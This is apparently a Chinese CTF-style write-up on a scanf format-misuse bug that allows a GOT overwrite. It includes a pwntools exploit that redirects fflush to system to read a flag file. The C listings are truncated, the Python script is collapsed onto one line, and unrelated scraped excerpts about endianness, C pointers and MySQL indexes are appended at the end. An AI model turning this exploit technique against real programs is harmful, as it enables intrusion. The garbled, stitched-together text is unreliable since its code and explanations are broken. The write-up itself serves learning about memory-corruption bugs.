scanf()是c語言中的乙個輸出函式。與printf函式一樣,都被宣告在標頭檔案stdio.h裡,因此在使用scanf函式時要加上#include 。(在有一些實現中,printf函式與scanf函式在使用時可以不使用預編譯命令#include 。)它是格式輸入函式,即按使用者指定的格式從鍵盤上把資料輸入到指定的變數之中。
int scanf(const char * restrict format,...);
函式 scanf() 是從標準輸入流stdin (標準輸入裝置,一般指向鍵盤)中讀內容的通用子程式,可以說明的格式讀入多個字元,並儲存在對應位址的變數中。函式的第乙個引數是格式字串,它指定了輸入的格式,並按照格式說明符解析輸入對應位置的資訊並儲存於可變引數列表中對應的指標所指位置。每乙個指標要求非空,並且與字串中的格式符一一順次對應。
正常程式(正確寫法):
#include int main()
反彙編檢視scanf
從彙編**中可以看出來這裡是把a的位址壓入棧中。
漏洞程式(經典的錯誤寫法):
#include #include int main()
a的值0x0804a010是fflush的位址。反彙編檢視scanf
這裡是把a的值壓入棧中。如果a的值沒有進行初始化,將是乙個隨機的值,也就是這個壓入堆疊的值是乙個隨機的,由於很多位址是無法寫入的,因此很容易導致程式崩潰。
#-*- coding: utf-8 -*-#!/usr/bin/pythonfrom pwn import *p= process('./test')system_addr = 0x0804857dpayload = p32(system_addr)p.send(payload)p.interactive()
執行結果如下
flag的內容我們成功檢視到了,也就是system("/bin/cat flag")被成功執行了。
深入理解got覆寫技術
彙編學習(6)深入理解little
菜雞初學彙編,總結下 little endian。這個破東西也困擾我好久,也算終於搞明白了。little endian 簡單來說即低位位元組排放在記憶體的低位址端,高位位元組排放在記憶體的高位址端。首先,明確一點,最小的單元都是位元組 資料在記憶體中的存放是以位元組為單位的。位元組內的內容沒有所謂的...
深入理解C語言 深入理解指標
關於指標,其是c語言的重點,c語言學的好壞,其實就是指標學的好壞。其實指標並不複雜,學習指標,要正確的理解指標。指標也是一種變數,占有記憶體空間,用來儲存記憶體位址 指標就是告訴編譯器,開闢4個位元組的儲存空間 32位系統 無論是幾級指標都是一樣的 p操作記憶體 在指標宣告時,號表示所宣告的變數為指...
mysql 索引深入理解 深入理解MySql的索引
為什麼索引能提高查詢速度 先從 mysql的基本儲存結構說起 mysql的基本儲存結構是頁 記錄都存在頁裡邊 各個資料頁可以組成乙個雙向鍊錶每個資料頁中的記錄又可以組成乙個單向鍊錶 每個資料頁都會為儲存在它裡邊兒的記錄生成乙個頁目錄,在通過主鍵查詢某條記錄的時候可以在頁目錄中使用二分法快速定位到對應...